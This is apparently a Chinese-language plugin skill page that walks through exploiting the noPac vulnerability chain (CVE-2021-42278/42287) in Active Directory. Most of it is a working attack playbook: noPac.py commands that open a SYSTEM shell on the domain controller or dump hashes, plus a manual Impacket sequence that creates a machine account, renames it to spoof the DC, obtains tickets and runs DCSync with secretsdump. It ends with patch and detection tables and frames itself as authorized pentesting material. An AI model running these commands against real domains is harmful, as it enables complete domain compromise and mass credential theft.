Exploits noPac chain (CVE-2021-42278/42287) in Active Directory to escalate domain user to admin via tools like noPac.py, CrackMapExec, and Impacket. Useful for red-teaming AD pentests.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
noPac 是一个严重的漏洞利用链,结合了两个活动目录漏洞:CVE-2021-42278(sAMAccountName 欺骗)和 CVE-2021-42287(KDC PAC 混淆)。两者合并可以让任何经过认证的域用户提升至域管理员权限,可能在 60 秒内实现完整域入侵。CVE-2021-42278 允许攻击者修改机器账户的 sAMAccountName 属性以匹配域控制器的名称(去掉末尾的 $)。CVE-2021-42287 利用 Kerberos PAC 验证中的缺陷,当 KDC 找不到重命名的账户时,会自动附加 $ 并为域控制器账户签发票据。微软于 2021 年 11 月修补了这两个漏洞(KB5008380 和 KB5008602),但许多环境仍未打补丁。该漏洞由 cube0x0 和 Ridter 于 2021 年 12 月公开发布。
Exploits noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from domain user to Domain Admin in Active Directory. For authorized red teaming and pentesting.
Exploits noPac chain (CVE-2021-42278/42287) in Active Directory for domain user to Domain Admin escalation. For authorized red teaming, pentesting, and vulnerability analysis.
Performs Active Directory penetration testing: enumerates domain objects, analyzes attack paths with BloodHound, exploits Kerberos weaknesses, escalates privileges via ADCS/DCSync, and demonstrates domain compromise.
Share bugs, ideas, or general feedback.
noPac 是一个严重的漏洞利用链,结合了两个活动目录漏洞:CVE-2021-42278(sAMAccountName 欺骗)和 CVE-2021-42287(KDC PAC 混淆)。两者合并可以让任何经过认证的域用户提升至域管理员权限,可能在 60 秒内实现完整域入侵。CVE-2021-42278 允许攻击者修改机器账户的 sAMAccountName 属性以匹配域控制器的名称(去掉末尾的 $)。CVE-2021-42287 利用 Kerberos PAC 验证中的缺陷,当 KDC 找不到重命名的账户时,会自动附加 $ 并为域控制器账户签发票据。微软于 2021 年 11 月修补了这两个漏洞(KB5008380 和 KB5008602),但许多环境仍未打补丁。该漏洞由 cube0x0 和 Ridter 于 2021 年 12 月公开发布。
# 使用 cube0x0 的 noPac 扫描器
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# 使用 CrackMapExec 模块
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
# 通过 LDAP 检查 MachineAccountQuota
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"
# 使用 cube0x0 的 noPac(在 DC 上获取 shell)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# 使用 Ridter 的 noPac(替代实现)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
# 使用 Kerberos 票据通过 secretsdump.py 进行 DCSync
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# 或直接通过 noPac shell(shell 以 SYSTEM 身份在 DC 上运行)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
# 将机器账户的 sAMAccountName 重命名为 DC 名称(不含 $)
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
| 工具 | 用途 | 平台 |
|---|---|---|
| noPac(cube0x0) | 自动化扫描器和利用工具 | Python |
| noPac(Ridter) | 替代漏洞利用实现 | Python |
| Impacket | Kerberos 票据操控、DCSync | Python |
| CrackMapExec | 漏洞扫描模块 | Python |
| Rubeus | Windows Kerberos 票据操作 | Windows(.NET) |
| secretsdump.py | 后渗透凭据转储 | Python |
| CVE | 描述 | CVSS | 补丁 |
|---|---|---|---|
| CVE-2021-42278 | sAMAccountName 欺骗(机器账户) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC 混淆/权限提升 | 7.5 | KB5008380 |
| 指标 | 检测方法 |
|---|---|
| 机器账户 sAMAccountName 更改 | 带 sAMAccountName 修改的事件 4742(计算机账户已更改) |
| 新机器账户创建 | 事件 4741(计算机对象已创建) |
| 不带末尾 $ 的账户的 TGT 请求 | Kerberos 审计日志分析 |
| 来自非 DC 机器账户的 S4U2self 请求 | 带异常服务票据请求的事件 4769 |
| 快速序列:创建账户、重命名、请求 TGT | 针对 noPac 攻击模式的 SIEM 关联规则 |